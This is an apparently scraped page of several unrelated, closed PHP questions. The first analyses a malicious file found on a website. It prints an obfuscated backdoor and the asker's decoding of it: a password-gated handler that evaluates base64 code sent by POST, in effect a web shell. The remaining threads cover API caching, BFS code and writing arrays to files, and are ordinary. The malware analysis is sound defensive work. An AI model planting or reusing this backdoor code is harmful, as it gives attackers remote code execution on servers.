Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
Just a quick question....
I found a malicious file on a site (since removed) but I'm wondering what it's doing. Below is the code, any insight would be greatly appreciated.
function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"#$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} #_g1qm0();
}
This code is not complete but from what I've decoded it is:
$log = 'prt';
if (!isset($_SESSION)) {
session_start();
}
if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {
if (isset($_POST['mtq'])) {
$pt = base64_decode($_POST['mtq']);
eval($pt);
exit;
}
}
if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) {
$_SESSION['log'] = $log; exit;
}
So in simple words it looks from mtq param from POST request and executes it in shell. Data comes in base64 encoded format. It also stores one variable in session on key log
Also
$_myfunc2 = "\x63\x68\x72"; it is decoded to chr which is function in PHP that returns character based on ASCII code.
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
looks like md5 hash but I'm not sure
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
It is $_g1qm3 is strrev function
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
It is base64_decode()
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
It's preg_replace()
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65")
It's eval()
Related
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 4 years ago.
Improve this question
In my PHP app I am retrieving data from a REST API (namely PokeAPI) and want to be able to cache the information I retrieve from it in order to cut down on time and API requests. What would be the best way to go about doing this?
Here is the code I am using the API for:
<?php
$base = "http://pokeapi.co/api/v2/pokemon/";
if (isset($_POST["dexno"])) {
$dexarray = $_POST["dexno"];
foreach( $dexarray as $d ) {
$data = #file_get_contents($base.$d);
if ($data != "") {
$pokemon = json_decode($data);
$img = $pokemon->sprites->front_default;
$imageData = base64_encode(file_get_contents($img));
echo '<img src="data:image/png;base64,'.$imageData.'">'.'<br>';
echo $pokemon->name.'<br>';
} }
}
?>
This simply takes numerical data from an array, puts it into a URL and pulls information from the URL generated. Any help would be much appreciated, as I have only just started learning PHP.
Like this:
$json = ""; //your json string.
$fh = fopen("myCacheFile.jsoN" , "w+");
fwrite($fh , $json);
fclose($fh);
If you want short code:
file_put_contents("myCacheFile.json" , $json);
To Retrieve:
$arr = json_decode(file_get_contents("myCacheFile.json") , true);
You can simply store the data in file on disk, and next time before making the call read from disk.
You can store it in database, and read from there.
You can use redis / memcached to store it in memory.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I'm trying to add tinymce to the category block in Prestashop. (1.4.7.3)
I found following snippet which should do the trick, but I get some errors.
<?php
class Category extends CategoryCore
{
public function getTranslationsFieldsChild() {
self::validateFieldsLang();
$fieldsArray = array('name', 'link_rewrite', 'meta_title', 'meta_keywords', 'meta_description');
$fields = array();
$languages = Language::getLanguages();
$defaultLanguage = Configuration::get('PS_LANG_DEFAULT');
foreach ($languages as $language)
{
$fields[$language['id_lang']]['id_lang'] = $language['id_lang'];
$fields[$language['id_lang']][$this->identifier] = intval($this->id);
$fields[$language['id_lang']]['description'] = (isset($this->description[$language['id_lang']])) ? Tools::htmlentitiesDecodeUTF8(pSQL($this->description[$language['id_lang']], true)) : '';
foreach ($fieldsArray as $field)
{
if (!Validate::isTableOrIdentifier($field))
die(Tools::displayError());
__regexoperators___ /*Check fields validity */
if (isset($this->{$field}[$language['id_lang']]) AND !empty($this->{$field}[$language['id_lang']]))
$fields[$language['id_lang']][$field] = pSQL($this->{$field}[$language['id_lang']]);
elseif (in_array($field, $this->fieldsRequiredLang))
$fields[$language['id_lang']][$field] = pSQL($this->{$field}[$defaultLanguage]);
else
$fields[$language['id_lang']][$field] = '';
}
}
return $fields;
}
}
I was wondering what the
__regexoperators___
does exactly.
Is it possible that my version of php doesn't know what to do with the "__ "?
Could I replace the "__" with a function call?
thanks in advance
It doesn't do anything in this case. It's just a byproduct of using the jQuery Litelighter plugin to highlight snippets of code on the blog post you've copy/pasted that code from.
If you're going to search the same code snippet in the HTML source, i.e. without syntax highlighting, you'll see that __regexoperators___ doesn't appear there.
Taking a look at the jQuery Litelighter plugin source code will also show that they're using underscore separated markers for their parsing.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
I created a function in PHP first and then following it tried to make the same thing in Python. Following are my codes
Python:
def bfs(my_data):
my_queue = []
my_queue.insert(0, my_data[0]);
my_data[0]['visited'] = '1';
while my_queue:
vertex = my_queue.pop()
print(vertex['letter'])
for n_vertex in vertex['neighbors']:
int_vertex = int(n_vertex)-1
if my_data[int_vertex]['visited'] is '0':
my_data[int_vertex]['visited'] = '1'
test.insert(0, my_data[int_vertex])
my_queue = str(test)
PHP:
function bfs($my_data)
{
$my_queue = array(); //array to store vertices
array_unshift($my_queue, $my_data[0]); // pass the first value to the first index of queue
$my_data[0]['visited'] = true; // value for visited is set to true for the first vertix
//print_r($my_queue);
while(!empty($my_queue))
{
$vertex = array_pop($my_queue); // passing the last value of queue to vertex
echo $vertex['letter'];
$msg = $vertex['letter'];
$output_file = $_POST["output_file_name"];
$output_file_path = "../SPA/" . $output_file;
$outfile = fopen($output_file_path, 'aw'); //writing output to the file
fwrite($outfile, $msg);
fclose($outfile);
// fwrite($outfile, $msg);
foreach($vertex['neighbours'] as $n_vertex)
{
//print_r($n_vertex);
if(!$my_data[$n_vertex-1]['visited'])
{
$my_data[$n_vertex-1]['visited'] = true; // set visited true after visiting each neighbour
array_unshift($my_queue, $my_data[$n_vertex-1]); //pass the neighbours to queue
}
}
}
}
I believe both are same functions but as i am getting different results i am trying to find out the difference. What do you think? Also, if they are different can you tell me how?
This is quite a broad question (what results are you seeing, what do you suspect?) But, for one thing, the for loop in Python is not indented to be within the while, whereas in PHP it is inside the while loop.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
In the program below
$array[name1][0] = 'name';
$array[name1][1] = '11';
$array[name2][0] = 'name2';
$array[name2][1] = '11';
$fileName = "file.php"
$fp = fopen($fileName,'w');
$msg = $array;
fwrite($fp,$msg);
fclose($fp);
In this file "file.php", i want to write an array...such tha its read like
<?
$array[name1][0] = 'name';
$array[name1][1] = '11';
$array[name2][0] = 'name2';
$array[name2][1] = '11';
but it's not working.
Use json_encode or serialize to get a storable (and compact) representation of your data structure, then json_decode or unserialize to get it back.
The var_export function does just that:
fprintf($fp, '<?php $array = %s;', var_export($array, true));
It generates valid PHP code and you can include the file after that:
include "file.php";
Note that you can return from a PHP file, so this would work too:
fprintf($fp, '<?php return %s;', var_export($array, true));
And then:
$array = include "file.php";
Alternatives to generating PHP code are json_encode/json_decode, or serialize/unserialize.
You can do it like this:
fwrite($fp,print_r($msg,true));
If you want to be able to read the file later and get an PHP array back, then you need to "serialize" the array:
and later
$array = unserialize(file_get_contents("test.data"));
if it should look readable in the file, you var_export($array,1) or print_r($array,1) and store their output.
The closest you're going to get, natively, is by using var_export and writing its return value to the file.
Failing that, you should implement something to build that format from an Array.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I have an array of keys and a medium/long string.
I need to replace only max 2 keys that I found in this text with the same keys wrapped with a link.
Thanks.
ex.:
$aKeys = array();
$aKeys[] = "beautiful";
$aKeys[] = "text";
$aKeys[] = "awesome";
...
$aLink = array();
$aLink[] = "http://www.domain1.com";
$aLink[] = "http://www.domain2.com";
$myText = "This is my beautiful awesome text";
should became "This is my <a href='http://www.domain1.com'>beautiful</a> awesome <a href='http://www.domain2.com'>text</a>";
Don't really understood what you need but you can do something like:
$aText = explode(" ", $myText);
$iUsedDomain = 0;
foreach($aText as $sWord){
if(in_array($sWord, $aKeys) and $iUsedDomain < 2){
echo "<a href='".$aLink[$iUsedDomain++]."'>".$sWord."</a> ";
}
else{ echo $sWord." "; }
}
So, you could use a snippet like this. I recommend you to update this code by using clean classes instead of stuff like global - just used this to show you how you could solve this with less code.
// 2 is the number of allowed replacements
echo preg_replace_callback('!('.implode('|', $aKeys).')!', 'yourCallbackFunction', $myText, 2);
function yourCallbackFunction ($matches)
{
// Get the link array defined outside of this function (NOT recommended)
global $aLink;
// Buffer the url
$url = $aLink[0];
// Do this to reset the indexes of your aray
unset($aLink[0]);
$aLink = array_merge($aLink);
// Do the replace
return ''.$matches[1].'';
}